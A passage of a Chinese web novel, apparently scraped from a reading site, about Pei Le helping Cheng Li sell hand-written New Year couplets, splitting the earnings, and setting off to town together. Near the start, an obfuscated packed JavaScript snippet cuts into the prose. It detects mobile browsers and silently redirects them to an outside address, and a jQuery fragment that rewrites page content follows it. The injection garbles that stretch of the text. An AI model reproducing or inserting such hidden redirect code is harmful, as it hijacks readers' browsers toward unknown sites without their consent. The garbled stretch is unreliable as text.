裴乐问:“对联你打算卖多少钱?” “大的二十三文,小的十三文,一大一小只要三十文。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16445442|185081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 价格比市面上同等质量的便宜太多,一方面因为都是一个村的,另一方面因为他初次卖对联,怕别人不买账。 路上玩耍的孩子多,裴乐转身回院里,很快拿了一盘子零嘴出来,给他们一人发了些零嘴,让他们回家通知大人。 小孩子效率很高,很快就有大人来看了。 村里大部分人都大字不识一个,但只要有眼睛,都能看出字的大小,以及是否对称,字看着是否顺眼,贴在门上会不会好看。 程立卖得便宜,没买对联的人家大多都选择买一大一小回去。 一副贴大门一副贴堂屋,够了。 程立写字,裴乐就在一旁收钱,最终收了满满一袋,比他自己赚钱还要高兴。 回到屋里,二人开始数钱。 总共卖出去了二十副大的和十五副小的,小的都是和大的一起买的,总共该收五百六十五文。 钱袋子里正好,一文钱都没有出错。 三十五副对联纸的成本是二百七十五文,笔费了一支十文,程立用的是墨条不贵,就算十文钱。 赚了二百七十文。 “竟然赚了这么多。”这还比市面上卖得便宜,裴乐简直想再买点红纸,叫程立接着写了。 但明日就是除夕了,鲜少有人会在除夕当天买。 而且裴乐看见程立在揉手腕,估计是很累。 “一年只能做一次的生意,自然赚得多。” 程立笑着说罢,推了一半钱到裴乐面前:“你的分成。” 裴乐下意识推回去:“我没干什么,不用给我分。” “你帮我宣传,还帮我收钱,看着红纸不让别人偷,若没有你,说不定我一副都卖不出去。” 裴乐便说自己只要十文钱就够了。 程立顿时蹙眉,说若他这般生分,那就把之前的分成全都还给他。 裴乐只好改口说自己要三成。 程立管着自己的笔墨书本费用,因此赚的钱不用交公,三成便是九十文。 程立给了他一钱银子,说凑个整。 裴乐表面不好意思,心里却十分高兴。 谁会不想要钱呢? 难怪以前程立收他的钱那么爽快。 * 陈家在除夕当天给祖先上完坟后离开,随之到来的是鞭炮声、接待亲戚朋友、走亲戚路上的寒冷,还有吃到好东西的愉悦。 转眼间便是年初十,亲戚都走过一遍了,来到了真正清闲的日子。 程立的私塾要等到正月十五过后才会复学。 他约裴乐去镇上玩。 裴乐还没有单独和程立出去玩过,但他没怎么犹豫就同意了。 两人跟家里说了一声,一大早就坐着牛车去镇上。 牛车还是一个人两文钱。 两人坐到终点才下车,随后程立说要带他去一个地方,裴乐便跟着对方走。 “到底要去哪儿?”眼看越走越偏,裴乐忍不住问道。 “乐哥儿,你相信我吗。”程立一双黑眸看着他。 裴乐觉得莫名其妙:“我若是不信你,干嘛要跟着你走这么远?”